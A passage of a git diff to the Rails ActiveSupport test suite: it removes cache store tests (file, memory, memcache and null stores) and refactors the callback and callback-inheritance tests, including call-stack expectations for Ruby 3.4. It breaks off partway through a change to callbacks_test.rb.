-  def test_common_utf8_values
-    key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
-    assert @cache.write(key, "1", raw: true)
-    assert_equal "1", @cache.read(key)
-    assert_equal "1", @cache.fetch(key)
-    assert @cache.delete(key)
-    assert_equal "2", @cache.fetch(key, raw: true) { "2" }
-    assert_equal 3, @cache.increment(key)
-    assert_equal 2, @cache.decrement(key)
-  end
-
-  def test_retains_encoding
-    key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
-    assert @cache.write(key, "1", raw: true)
-    assert_equal Encoding::UTF_8, key.encoding
-  end
-end
-
-module CacheDeleteMatchedBehavior
-  def test_delete_matched
-    @cache.write("foo", "bar")
-    @cache.write("fu", "baz")
-    @cache.write("foo/bar", "baz")
-    @cache.write("fu/baz", "bar")
-    @cache.delete_matched(/oo/)
-    assert !@cache.exist?("foo")
-    assert @cache.exist?("fu")
-    assert !@cache.exist?("foo/bar")
-    assert @cache.exist?("fu/baz")
-  end
-end
-
-module CacheIncrementDecrementBehavior
-  def test_increment
-    @cache.write("foo", 1, raw: true)
-    assert_equal 1, @cache.read("foo").to_i
-    assert_equal 2, @cache.increment("foo")
-    assert_equal 2, @cache.read("foo").to_i
-    assert_equal 3, @cache.increment("foo")
-    assert_equal 3, @cache.read("foo").to_i
-    assert_nil @cache.increment("bar")
-  end
-
-  def test_decrement
-    @cache.write("foo", 3, raw: true)
-    assert_equal 3, @cache.read("foo").to_i
-    assert_equal 2, @cache.decrement("foo")
-    assert_equal 2, @cache.read("foo").to_i
-    assert_equal 1, @cache.decrement("foo")
-    assert_equal 1, @cache.read("foo").to_i
-    assert_nil @cache.decrement("bar")
-  end
-end
-
-module LocalCacheBehavior
-  def test_local_writes_are_persistent_on_the_remote_cache
-    retval = @cache.with_local_cache do
-      @cache.write("foo", "bar")
-    end
-    assert retval
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_clear_also_clears_local_cache
-    @cache.with_local_cache do
-      @cache.write("foo", "bar")
-      @cache.clear
-      assert_nil @cache.read("foo")
-    end
-
-    assert_nil @cache.read("foo")
-  end
-
-  def test_local_cache_of_write
-    @cache.with_local_cache do
-      @cache.write("foo", "bar")
-      @peek.delete("foo")
-      assert_equal "bar", @cache.read("foo")
-    end
-  end
-
-  def test_local_cache_of_read
-    @cache.write("foo", "bar")
-    @cache.with_local_cache do
-      assert_equal "bar", @cache.read("foo")
-    end
-  end
-
-  def test_local_cache_of_read_nil
-    @cache.with_local_cache do
-      assert_nil @cache.read("foo")
-      @cache.send(:bypass_local_cache) { @cache.write "foo", "bar" }
-      assert_nil @cache.read("foo")
-    end
-  end
-
-  def test_local_cache_fetch
-    @cache.with_local_cache do
-      @cache.send(:local_cache).write "foo", "bar"
-      assert_equal "bar", @cache.send(:local_cache).fetch("foo")
-    end
-  end
-
-  def test_local_cache_of_write_nil
-    @cache.with_local_cache do
-      assert @cache.write("foo", nil)
-      assert_nil @cache.read("foo")
-      @peek.write("foo", "bar")
-      assert_nil @cache.read("foo")
-    end
-  end
-
-  def test_local_cache_of_delete
-    @cache.with_local_cache do
-      @cache.write("foo", "bar")
-      @cache.delete("foo")
-      assert_nil @cache.read("foo")
-    end
-  end
-
-  def test_local_cache_of_exist
-    @cache.with_local_cache do
-      @cache.write("foo", "bar")
-      @peek.delete("foo")
-      assert @cache.exist?("foo")
-    end
-  end
-
-  def test_local_cache_of_increment
-    @cache.with_local_cache do
-      @cache.write("foo", 1, raw: true)
-      @peek.write("foo", 2, raw: true)
-      @cache.increment("foo")
-      assert_equal 3, @cache.read("foo")
-    end
-  end
-
-  def test_local_cache_of_decrement
-    @cache.with_local_cache do
-      @cache.write("foo", 1, raw: true)
-      @peek.write("foo", 3, raw: true)
-      @cache.decrement("foo")
-      assert_equal 2, @cache.read("foo")
-    end
-  end
-
-  def test_middleware
-    app = lambda { |env|
-      result = @cache.write("foo", "bar")
-      assert_equal "bar", @cache.read("foo") # make sure 'foo' was written
-      assert result
-      [200, {}, []]
-    }
-    app = @cache.middleware.new(app)
-    app.call({})
-  end
-end
-
-module AutoloadingCacheBehavior
-  include DependenciesTestHelpers
-  def test_simple_autoloading
-    with_autoloading_fixtures do
-      @cache.write("foo", EM.new)
-    end
-
-    remove_constants(:EM)
-    ActiveSupport::Dependencies.clear
-
-    with_autoloading_fixtures do
-      assert_kind_of EM, @cache.read("foo")
-    end
-
-    remove_constants(:EM)
-    ActiveSupport::Dependencies.clear
-  end
-
-  def test_two_classes_autoloading
-    with_autoloading_fixtures do
-      @cache.write("foo", [EM.new, ClassFolder.new])
-    end
-
-    remove_constants(:EM, :ClassFolder)
-    ActiveSupport::Dependencies.clear
-
-    with_autoloading_fixtures do
-      loaded = @cache.read("foo")
-      assert_kind_of Array, loaded
-      assert_equal 2, loaded.size
-      assert_kind_of EM, loaded[0]
-      assert_kind_of ClassFolder, loaded[1]
-    end
-
-    remove_constants(:EM, :ClassFolder)
-    ActiveSupport::Dependencies.clear
-  end
-end
-
-class FileStoreTest < ActiveSupport::TestCase
-  def setup
-    Dir.mkdir(cache_dir) unless File.exist?(cache_dir)
-    @cache = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, expires_in: 60)
-    @peek = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, expires_in: 60)
-    @cache_with_pathname = ActiveSupport::Cache.lookup_store(:file_store, Pathname.new(cache_dir), expires_in: 60)
-
-    @buffer = StringIO.new
-    @cache.logger = ActiveSupport::Logger.new(@buffer)
-  end
-
-  def teardown
-    FileUtils.rm_r(cache_dir)
-  rescue Errno::ENOENT
-  end
-
-  def cache_dir
-    File.join(Dir.pwd, "tmp_cache")
-  end
-
-  include CacheStoreBehavior
-  include LocalCacheBehavior
-  include CacheDeleteMatchedBehavior
-  include CacheIncrementDecrementBehavior
-  include AutoloadingCacheBehavior
-
-  def test_clear
-    gitkeep = File.join(cache_dir, ".gitkeep")
-    keep = File.join(cache_dir, ".keep")
-    FileUtils.touch([gitkeep, keep])
-    @cache.clear
-    assert File.exist?(gitkeep)
-    assert File.exist?(keep)
-  end
-
-  def test_clear_without_cache_dir
-    FileUtils.rm_r(cache_dir)
-    @cache.clear
-  end
-
-  def test_long_uri_encoded_keys
-    @cache.write("%" * 870, 1)
-    assert_equal 1, @cache.read("%" * 870)
-  end
-
-  def test_key_transformation
-    key = @cache.send(:normalize_key, "views/index?id=1", {})
-    assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
-  end
-
-  def test_key_transformation_with_pathname
-    FileUtils.touch(File.join(cache_dir, "foo"))
-    key = @cache_with_pathname.send(:normalize_key, "views/index?id=1", {})
-    assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key)
-  end
-
-  # Test that generated cache keys are short enough to have Tempfile stuff added to them and
-  # remain valid
-  def test_filename_max_size
-    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}"
-    path = @cache.send(:normalize_key, key, {})
-    Dir::Tmpname.create(path) do |tmpname, n, opts|
-      assert File.basename(tmpname + ".lock").length <= 255, "Temp filename too long: #{File.basename(tmpname + '.lock').length}"
-    end
-  end
-
-  # Because file systems have a maximum filename size, filenames > max size should be split in to directories
-  # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B
-  def test_key_transformation_max_filename_size
-    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B"
-    path = @cache.send(:normalize_key, key, {})
-    assert path.split("/").all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE }
-    assert_equal "B", File.basename(path)
-  end
-
-  # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist
-  # Ensure delete_matched gracefully handles this case
-  def test_delete_matched_when_cache_directory_does_not_exist
-    assert_nothing_raised do
-      ActiveSupport::Cache::FileStore.new("/test/cache/directory").delete_matched(/does_not_exist/)
-    end
-  end
-
-  def test_delete_does_not_delete_empty_parent_dir
-    sub_cache_dir = File.join(cache_dir, "subdir/")
-    sub_cache_store = ActiveSupport::Cache::FileStore.new(sub_cache_dir)
-    assert_nothing_raised do
-      assert sub_cache_store.write("foo", "bar")
-      assert sub_cache_store.delete("foo")
-    end
-    assert File.exist?(cache_dir), "Parent of top level cache dir was deleted!"
-    assert File.exist?(sub_cache_dir), "Top level cache dir was deleted!"
-    assert Dir.entries(sub_cache_dir).reject { |f| ActiveSupport::Cache::FileStore::EXCLUDED_DIRS.include?(f) }.empty?
-  end
-
-  def test_log_exception_when_cache_read_fails
-    File.stub(:exist?, -> { raise StandardError.new("failed") }) do
-      @cache.send(:read_entry, "winston", {})
-      assert @buffer.string.present?
-    end
-  end
-
-  def test_cleanup_removes_all_expired_entries
-    time = Time.now
-    @cache.write("foo", "bar", expires_in: 10)
-    @cache.write("baz", "qux")
-    @cache.write("quux", "corge", expires_in: 20)
-    Time.stub(:now, time + 15) do
-      @cache.cleanup
-      assert_not @cache.exist?("foo")
-      assert @cache.exist?("baz")
-      assert @cache.exist?("quux")
-    end
-  end
-
-  def test_write_with_unless_exist
-    assert_equal true, @cache.write(1, "aaaaaaaaaa")
-    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
-    @cache.write(1, nil)
-    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
-  end
-end
-
-class MemoryStoreTest < ActiveSupport::TestCase
-  def setup
-    @record_size = ActiveSupport::Cache.lookup_store(:memory_store).send(:cached_size, 1, ActiveSupport::Cache::Entry.new("aaaaaaaaaa"))
-    @cache = ActiveSupport::Cache.lookup_store(:memory_store, expires_in: 60, size: @record_size * 10 + 1)
-  end
-
-  include CacheStoreBehavior
-  include CacheDeleteMatchedBehavior
-  include CacheIncrementDecrementBehavior
-
-  def test_prune_size
-    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
-    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
-    @cache.write(3, "cccccccccc") && sleep(0.001)
-    @cache.write(4, "dddddddddd") && sleep(0.001)
-    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
-    @cache.read(2) && sleep(0.001)
-    @cache.read(4)
-    @cache.prune(@record_size * 3)
-    assert @cache.exist?(5)
-    assert @cache.exist?(4)
-    assert !@cache.exist?(3), "no entry"
-    assert @cache.exist?(2)
-    assert !@cache.exist?(1), "no entry"
-  end
-
-  def test_prune_size_on_write
-    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
-    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
-    @cache.write(3, "cccccccccc") && sleep(0.001)
-    @cache.write(4, "dddddddddd") && sleep(0.001)
-    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
-    @cache.write(6, "ffffffffff") && sleep(0.001)
-    @cache.write(7, "gggggggggg") && sleep(0.001)
-    @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
-    @cache.write(9, "iiiiiiiiii") && sleep(0.001)
-    @cache.write(10, "kkkkkkkkkk") && sleep(0.001)
-    @cache.read(2) && sleep(0.001)
-    @cache.read(4) && sleep(0.001)
-    @cache.write(11, "llllllllll")
-    assert @cache.exist?(11)
-    assert @cache.exist?(10)
-    assert @cache.exist?(9)
-    assert @cache.exist?(8)
-    assert @cache.exist?(7)
-    assert !@cache.exist?(6), "no entry"
-    assert !@cache.exist?(5), "no entry"
-    assert @cache.exist?(4)
-    assert !@cache.exist?(3), "no entry"
-    assert @cache.exist?(2)
-    assert !@cache.exist?(1), "no entry"
-  end
-
-  def test_prune_size_on_write_based_on_key_length
-    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
-    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
-    @cache.write(3, "cccccccccc") && sleep(0.001)
-    @cache.write(4, "dddddddddd") && sleep(0.001)
-    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
-    @cache.write(6, "ffffffffff") && sleep(0.001)
-    @cache.write(7, "gggggggggg") && sleep(0.001)
-    @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
-    @cache.write(9, "iiiiiiiiii") && sleep(0.001)
-    long_key = "*" * 2 * @record_size
-    @cache.write(long_key, "llllllllll")
-    assert @cache.exist?(long_key)
-    assert @cache.exist?(9)
-    assert @cache.exist?(8)
-    assert @cache.exist?(7)
-    assert @cache.exist?(6)
-    assert !@cache.exist?(5), "no entry"
-    assert !@cache.exist?(4), "no entry"
-    assert !@cache.exist?(3), "no entry"
-    assert !@cache.exist?(2), "no entry"
-    assert !@cache.exist?(1), "no entry"
-  end
-
-  def test_pruning_is_capped_at_a_max_time
-    def @cache.delete_entry(*args)
-      sleep(0.01)
-      super
-    end
-    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
-    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
-    @cache.write(3, "cccccccccc") && sleep(0.001)
-    @cache.write(4, "dddddddddd") && sleep(0.001)
-    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
-    @cache.prune(30, 0.001)
-    assert @cache.exist?(5)
-    assert @cache.exist?(4)
-    assert @cache.exist?(3)
-    assert @cache.exist?(2)
-    assert !@cache.exist?(1)
-  end
-
-  def test_write_with_unless_exist
-    assert_equal true, @cache.write(1, "aaaaaaaaaa")
-    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
-    @cache.write(1, nil)
-    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
-  end
-end
-
-class MemCacheStoreTest < ActiveSupport::TestCase
-  require "dalli"
-
-  begin
-    ss = Dalli::Client.new("localhost:11211").stats
-    raise Dalli::DalliError unless ss["localhost:11211"]
-
-    MEMCACHE_UP = true
-  rescue Dalli::DalliError
-    $stderr.puts "Skipping memcached tests. Start memcached and try again."
-    MEMCACHE_UP = false
-  end
-
-  def setup
-    skip "memcache server is not up" unless MEMCACHE_UP
-
-    @cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, expires_in: 60)
-    @peek = ActiveSupport::Cache.lookup_store(:mem_cache_store)
-    @data = @cache.instance_variable_get(:@data)
-    @cache.clear
-    @cache.silence!
-    @cache.logger = ActiveSupport::Logger.new("/dev/null")
-  end
-
-  include CacheStoreBehavior
-  include LocalCacheBehavior
-  include CacheIncrementDecrementBehavior
-  include EncodedKeyCacheBehavior
-  include AutoloadingCacheBehavior
-
-  def test_raw_values
-    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
-    cache.clear
-    cache.write("foo", 2)
-    assert_equal "2", cache.read("foo")
-  end
-
-  def test_raw_values_with_marshal
-    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
-    cache.clear
-    cache.write("foo", Marshal.dump([]))
-    assert_equal [], cache.read("foo")
-  end
-
-  def test_local_cache_raw_values
-    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
-    cache.clear
-    cache.with_local_cache do
-      cache.write("foo", 2)
-      assert_equal "2", cache.read("foo")
-    end
-  end
-
-  def test_local_cache_raw_values_with_marshal
-    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
-    cache.clear
-    cache.with_local_cache do
-      cache.write("foo", Marshal.dump([]))
-      assert_equal [], cache.read("foo")
-    end
-  end
-
-  def test_read_should_return_a_different_object_id_each_time_it_is_called
-    @cache.write("foo", "bar")
-    value = @cache.read("foo")
-    assert_not_equal value.object_id, @cache.read("foo").object_id
-    value << "bingo"
-    assert_not_equal value, @cache.read("foo")
-  end
-end
-
-class NullStoreTest < ActiveSupport::TestCase
-  def setup
-    @cache = ActiveSupport::Cache.lookup_store(:null_store)
-  end
-
-  def test_clear
-    @cache.clear
-  end
-
-  def test_cleanup
-    @cache.cleanup
-  end
-
-  def test_write
-    assert_equal true, @cache.write("name", "value")
-  end
-
-  def test_read
-    @cache.write("name", "value")
-    assert_nil @cache.read("name")
-  end
-
-  def test_delete
-    @cache.write("name", "value")
-    assert_equal false, @cache.delete("name")
-  end
-
-  def test_increment
-    @cache.write("name", 1, raw: true)
-    assert_nil @cache.increment("name")
-  end
-
-  def test_decrement
-    @cache.write("name", 1, raw: true)
-    assert_nil @cache.increment("name")
-  end
-
-  def test_delete_matched
-    @cache.write("name", "value")
-    @cache.delete_matched(/name/)
-  end
-
-  def test_local_store_strategy
-    @cache.with_local_cache do
-      @cache.write("name", "value")
-      assert_equal "value", @cache.read("name")
-      @cache.delete("name")
-      assert_nil @cache.read("name")
-      @cache.write("name", "value")
-    end
-    assert_nil @cache.read("name")
-  end
-end
-
-class CacheStoreLoggerTest < ActiveSupport::TestCase
-  def setup
-    @cache = ActiveSupport::Cache.lookup_store(:memory_store)
-
-    @buffer = StringIO.new
-    @cache.logger = ActiveSupport::Logger.new(@buffer)
-  end
-
-  def test_logging
-    @cache.fetch("foo") { "bar" }
-    assert @buffer.string.present?
-  end
-
-  def test_log_with_string_namespace
-    @cache.fetch("foo", namespace: "string_namespace") { "bar" }
-    assert_match %r{string_namespace:foo}, @buffer.string
-  end
-
-  def test_log_with_proc_namespace
-    proc = Proc.new do
-      "proc_namespace"
-    end
-    @cache.fetch("foo", namespace: proc) { "bar" }
-    assert_match %r{proc_namespace:foo}, @buffer.string
-  end
-
-  def test_mute_logging
-    @cache.mute { @cache.fetch("foo") { "bar" } }
-    assert @buffer.string.blank?
-  end
-end
-
-class CacheEntryTest < ActiveSupport::TestCase
-  def test_expired
-    entry = ActiveSupport::Cache::Entry.new("value")
-    assert !entry.expired?, "entry not expired"
-    entry = ActiveSupport::Cache::Entry.new("value", expires_in: 60)
-    assert !entry.expired?, "entry not expired"
-    Time.stub(:now, Time.now + 61) do
-      assert entry.expired?, "entry is expired"
-    end
-  end
-
-  def test_compress_values
-    value = "value" * 100
-    entry = ActiveSupport::Cache::Entry.new(value, compress: true, compress_threshold: 1)
-    assert_equal value, entry.value
-    assert(value.bytesize > entry.size, "value is compressed")
-  end
-
-  def test_non_compress_values
-    value = "value" * 100
-    entry = ActiveSupport::Cache::Entry.new(value)
-    assert_equal value, entry.value
-    assert_equal value.bytesize, entry.size
-  end
-end
diff --git a/activesupport/test/callback_inheritance_test.rb b/activesupport/test/callback_inheritance_test.rb
index 9e2f7527e0e6f..dc361783b2724 100644
--- a/activesupport/test/callback_inheritance_test.rb
+++ b/activesupport/test/callback_inheritance_test.rb
@@ -1,114 +1,120 @@
-require "abstract_unit"
+# frozen_string_literal: true
 
-class GrandParent
-  include ActiveSupport::Callbacks
+require_relative "abstract_unit"
 
-  attr_reader :log, :action_name
-  def initialize(action_name)
-    @action_name, @log = action_name, []
-  end
+module CallbackInheritanceTestFixtures
+  class GrandParent
+    include ActiveSupport::Callbacks
 
-  define_callbacks :dispatch
-  set_callback :dispatch, :before, :before1, :before2, if: proc { |c| c.action_name == "index" || c.action_name == "update" }
-  set_callback :dispatch, :after, :after1, :after2, if: proc { |c| c.action_name == "update" || c.action_name == "delete" }
+    attr_reader :log, :action_name
+    def initialize(action_name)
+      @action_name, @log = action_name, []
+    end
 
-  def before1
-    @log << "before1"
-  end
+    define_callbacks :dispatch
+    set_callback :dispatch, :before, :before1, :before2, if: proc { |c| c.action_name == "index" || c.action_name == "update" }
+    set_callback :dispatch, :after, :after1, :after2, if: proc { |c| c.action_name == "update" || c.action_name == "delete" }
 
-  def before2
-    @log << "before2"
-  end
+    def before1
+      @log << "before1"
+    end
 
-  def after1
-    @log << "after1"
-  end
+    def before2
+      @log << "before2"
+    end
 
-  def after2
-    @log << "after2"
-  end
+    def after1
+      @log << "after1"
+    end
+
+    def after2
+      @log << "after2"
+    end
 
-  def dispatch
-    run_callbacks :dispatch do
-      @log << action_name
+    def dispatch
+      run_callbacks :dispatch do
+        @log << action_name
+      end
+      self
     end
-    self
   end
-end
 
-class Parent < GrandParent
-  skip_callback :dispatch, :before, :before2, unless: proc { |c| c.action_name == "update" }
-  skip_callback :dispatch, :after, :after2, unless: proc { |c| c.action_name == "delete" }
-end
+  class Parent < GrandParent
+    skip_callback :dispatch, :before, :before2, unless: proc { |c| c.action_name == "update" }
+    skip_callback :dispatch, :after, :after2, unless: proc { |c| c.action_name == "delete" }
+  end
 
-class Child < GrandParent
-  skip_callback :dispatch, :before, :before2, unless: proc { |c| c.action_name == "update" }, if: :state_open?
+  class Child < GrandParent
+    skip_callback :dispatch, :before, :before2, unless: proc { |c| c.action_name == "update" }, if: :state_open?
 
-  def state_open?
-    @state == :open
-  end
+    def state_open?
+      @state == :open
+    end
 
-  def initialize(action_name, state)
-    super(action_name)
-    @state = state
+    def initialize(action_name, state)
+      super(action_name)
+      @state = state
+    end
   end
-end
 
-class EmptyParent
-  include ActiveSupport::Callbacks
+  class EmptyParent
+    include ActiveSupport::Callbacks
 
-  def performed?
-    @performed ||= false
-  end
+    def performed?
+      @performed ||= false
+    end
 
-  define_callbacks :dispatch
+    define_callbacks :dispatch
 
-  def perform!
-    @performed = true
-  end
+    def perform!
+      @performed = true
+    end
 
-  def dispatch
-    run_callbacks :dispatch
-    self
+    def dispatch
+      run_callbacks :dispatch
+      self
+    end
   end
-end
 
-class EmptyChild < EmptyParent
-  set_callback :dispatch, :before, :do_nothing
+  class EmptyChild < EmptyParent
+    set_callback :dispatch, :before, :do_nothing
 
-  def do_nothing
+    def do_nothing
+    end
   end
-end
 
-class CountingParent
-  include ActiveSupport::Callbacks
+  class CountingParent
+    include ActiveSupport::Callbacks
 
-  attr_reader :count
+    attr_reader :count
 
-  define_callbacks :dispatch
+    define_callbacks :dispatch
 
-  def initialize
-    @count = 0
-  end
+    def initialize
+      @count = 0
+    end
 
-  def count!
-    @count += 1
-  end
+    def count!
+      @count += 1
+    end
 
-  def dispatch
-    run_callbacks(:dispatch)
-    self
+    def dispatch
+      run_callbacks(:dispatch)
+      self
+    end
   end
-end
 
-class CountingChild < CountingParent
+  class CountingChild < CountingParent
+  end
 end
 
 class BasicCallbacksTest < ActiveSupport::TestCase
+  include CallbackInheritanceTestFixtures
+
   def setup
-    @index    = GrandParent.new("index").dispatch
-    @update   = GrandParent.new("update").dispatch
-    @delete   = GrandParent.new("delete").dispatch
+    @index = GrandParent.new("index").dispatch
+    @update = GrandParent.new("update").dispatch
+    @delete = GrandParent.new("delete").dispatch
   end
 
   def test_basic_conditional_callback1
@@ -125,6 +131,8 @@ def test_basic_conditional_callback3
 end
 
 class InheritedCallbacksTest < ActiveSupport::TestCase
+  include CallbackInheritanceTestFixtures
+
   def setup
     @index    = Parent.new("index").dispatch
     @update   = Parent.new("update").dispatch
@@ -145,27 +153,31 @@ def test_partially_excluded
 end
 
 class InheritedCallbacksTest2 < ActiveSupport::TestCase
+  include CallbackInheritanceTestFixtures
+
   def setup
     @update1 = Child.new("update", :open).dispatch
     @update2 = Child.new("update", :closed).dispatch
   end
 
-  def test_crazy_mix_on
+  def test_complex_mix_on
     assert_equal %w(before1 update after2 after1), @update1.log
   end
 
-  def test_crazy_mix_off
+  def test_complex_mix_off
     assert_equal %w(before1 before2 update after2 after1), @update2.log
   end
 end
 
 class DynamicInheritedCallbacks < ActiveSupport::TestCase
+  include CallbackInheritanceTestFixtures
+
   def test_callbacks_looks_to_the_superclass_before_running
     child = EmptyChild.new.dispatch
-    assert !child.performed?
+    assert_not_predicate child, :performed?
     EmptyParent.set_callback :dispatch, :before, :perform!
     child = EmptyChild.new.dispatch
-    assert child.performed?
+    assert_predicate child, :performed?
   end
 
   def test_callbacks_should_be_performed_once_in_child_class
@@ -174,3 +186,15 @@ def test_callbacks_should_be_performed_once_in_child_class
     assert_equal 1, child.count
   end
 end
+
+class DynamicDefinedCallbacks < ActiveSupport::TestCase
+  include CallbackInheritanceTestFixtures
+
+  def test_callbacks_should_be_performed_once_in_child_class_after_dynamic_define
+    GrandParent.define_callbacks(:foo)
+    GrandParent.set_callback(:foo, :before, :before1)
+    parent = Parent.new("foo")
+    parent.run_callbacks(:foo)
+    assert_equal %w(before1), parent.log
+  end
+end
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index 4f00afb581c35..6dee9e0987caf 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,4 +1,7 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/core_ext/kernel/singleton_class"
 
 module CallbacksTest
   class Record
@@ -29,7 +32,7 @@ def callback_proc(callback_method)
 
       def callback_object(callback_method)
         klass = Class.new
-        klass.send(:define_method, callback_method) do |model|
+        klass.define_method(callback_method) do |model|
           model.history << [:"#{callback_method}_save", :object]
         end
         klass.new
@@ -56,11 +59,11 @@ class Person < Record
 
     [:before_save, :after_save].each do |callback_method|
       callback_method_sym = callback_method.to_sym
-      send(callback_method, callback_symbol(callback_method_sym))
-      send(callback_method, callback_proc(callback_method_sym))
-      send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, "")))
-      send(callback_method, CallbackClass)
-      send(callback_method) { |model| model.history << [callback_method_sym, :block] }
+      public_send(callback_method, callback_symbol(callback_method_sym))
+      public_send(callback_method, callback_proc(callback_method_sym))
+      public_send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, "")))
+      public_send(callback_method, CallbackClass)
+      public_send(callback_method) { |model| model.history << [callback_method_sym, :block] }
     end
 
     def save
@@ -75,7 +78,7 @@ class PersonSkipper < Person
     skip_callback :save, :after,  :after_save_method, unless: :yes
     skip_callback :save, :after,  :after_save_method, if: :no
     skip_callback :save, :before, :before_save_method, unless: :no
-    skip_callback :save, :before, CallbackClass , if: :yes
+    skip_callback :save, :before, CallbackClass, if: :yes
     def yes; true; end
     def no; false; end
   end
@@ -186,18 +189,13 @@ class ConditionalPerson < Record
     before_save Proc.new { |r| r.history << "b00m" }, if: Proc.new { |r| false }
     before_save Proc.new { |r| r.history << [:before_save, :proc] }, unless: Proc.new { |r| false }
     before_save Proc.new { |r| r.history << "b00m" }, unless: Proc.new { |r| true }
+    before_save Proc.new { |r| r.history << "b00m" }, unless: proc(&:history)
+    before_save Proc.new { |r| r.history << "b00m" }, unless: lambda(&:history)
     # symbol
     before_save Proc.new { |r| r.history << [:before_save, :symbol] }, if: :yes
     before_save Proc.new { |r| r.history << "b00m" }, if: :no
     before_save Proc.new { |r| r.history << [:before_save, :symbol] }, unless: :no
     before_save Proc.new { |r| r.history << "b00m" }, unless: :yes
-    # string
-    ActiveSupport::Deprecation.silence do
-      before_save Proc.new { |r| r.history << [:before_save, :string] }, if: "yes"
-      before_save Proc.new { |r| r.history << "b00m" }, if: "no"
-      before_save Proc.new { |r| r.history << [:before_save, :string] }, unless: "no"
-      before_save Proc.new { |r| r.history << "b00m" }, unless: "yes"
-    end
     # Combined if and unless
     before_save Proc.new { |r| r.history << [:before_save, :combined_symbol] }, if: :yes, unless: :no
     before_save Proc.new { |r| r.history << "b00m" }, if: :yes, unless: :yes
@@ -239,7 +237,7 @@ def save
     def no; false; end
     def yes; true; end
 
-    def method_missing(sym, *)
+    def method_missing(sym, ...)
       case sym
       when /^log_(.*)/
         @history << $1
@@ -260,8 +258,8 @@ def method_missing(sym, *)
       end
     end
 
-    def respond_to_missing?(sym)
-      sym =~ /^(log|wrap)_/ || super
+    def respond_to_missing?(sym, include_private = false)
+      sym.match?(/^(log|wrap)_/) || super
     end
   end
 
@@ -402,7 +400,6 @@ def initialize
     end
 
     private
-
       def record1
         @recorder << 1
       end
@@ -478,19 +475,33 @@ def test_tidy_call_stack
       # callbacks that have been invoked, if there are any (plus
       # whatever the callbacks do themselves, of course).
 
-      assert_equal [
-        "block in save",
-        "block in run_callbacks",
-        "tweedle_deedle",
-        "block in run_callbacks",
-        "w0tyes",
-        "block in run_callbacks",
-        "tweedle_dum",
-        "block in run_callbacks",
-        ("call" if RUBY_VERSION < "2.3"),
-        "run_callbacks",
-        "save"
-      ].compact, call_stack.map(&:label)
+      if RUBY_VERSION >= "3.4"
+        assert_equal [
+          "block in CallbacksTest::MySlate#save",
+          "block in ActiveSupport::Callbacks#run_callbacks",
+          "CallbacksTest::AroundPerson#tweedle_deedle",
+          "block in ActiveSupport::Callbacks#run_callbacks",
+          "CallbacksTest::AroundPerson#w0tyes",
+          "block in ActiveSupport::Callbacks#run_callbacks",
+          "CallbacksTest::AroundPerson#tweedle_dum",
+          "block in ActiveSupport::Callbacks#run_callbacks",
+          "ActiveSupport::Callbacks#run_callbacks",
+          "CallbacksTest::MySlate#save",
+        ].join("\n"), call_stack.map(&:label).join("\n")
+      else
+        assert_equal [
+          "block in save",
+          "block in run_callbacks",
+          "tweedle_deedle",
+          "block in run_callbacks",
+          "w0tyes",
+          "block in run_callbacks",
+          "tweedle_dum",
+          "block in run_callbacks",
+          "run_callbacks",
+          "save",
+        ].join("\n"), call_stack.map(&:label).join("\n")
+      end
     end
 
     def test_short_call_stack
@@ -509,11 +520,19 @@ def test_short_call_stack
       # there should be just one line. run_callbacks yields directly
       # back to its caller.
 
-      assert_equal [
-        "block in save",
-        "run_callbacks",
-        "save"
-      ], call_stack.map(&:label)
+      if RUBY_VERSION >= "3.4"
+        assert_equal [
+          "block in CallbacksTest::Person#save",
+          "ActiveSupport::Callbacks#run_callbacks",
+          "CallbacksTest::Person#save",
+        ].join("\n"), call_stack.map(&:label).join("\n")
+      else
+        assert_equal [
+          "block in save",
+          "run_callbacks",
+          "save",
+        ].join("\n"), call_stack.map(&:label).join("\n")
+      end
     end
   end
 
@@ -590,8 +609,6 @@ def test_save_conditional_person
         [:before_save, :proc],
         [:before_save, :symbol],
         [:before_save, :symbol],
-        [:before_save, :string],
-        [:before_save, :string],
         [:before_save, :combined_symbol],
       ], person.history
     end
@@ -618,7 +635,7 @@ def self.set_save_callbacks
       set_callback :save, :after, :third
     end
 
-    attr_reader :history, :saved, :halted
+    attr_reader :history, :saved, :halted, :callback_name
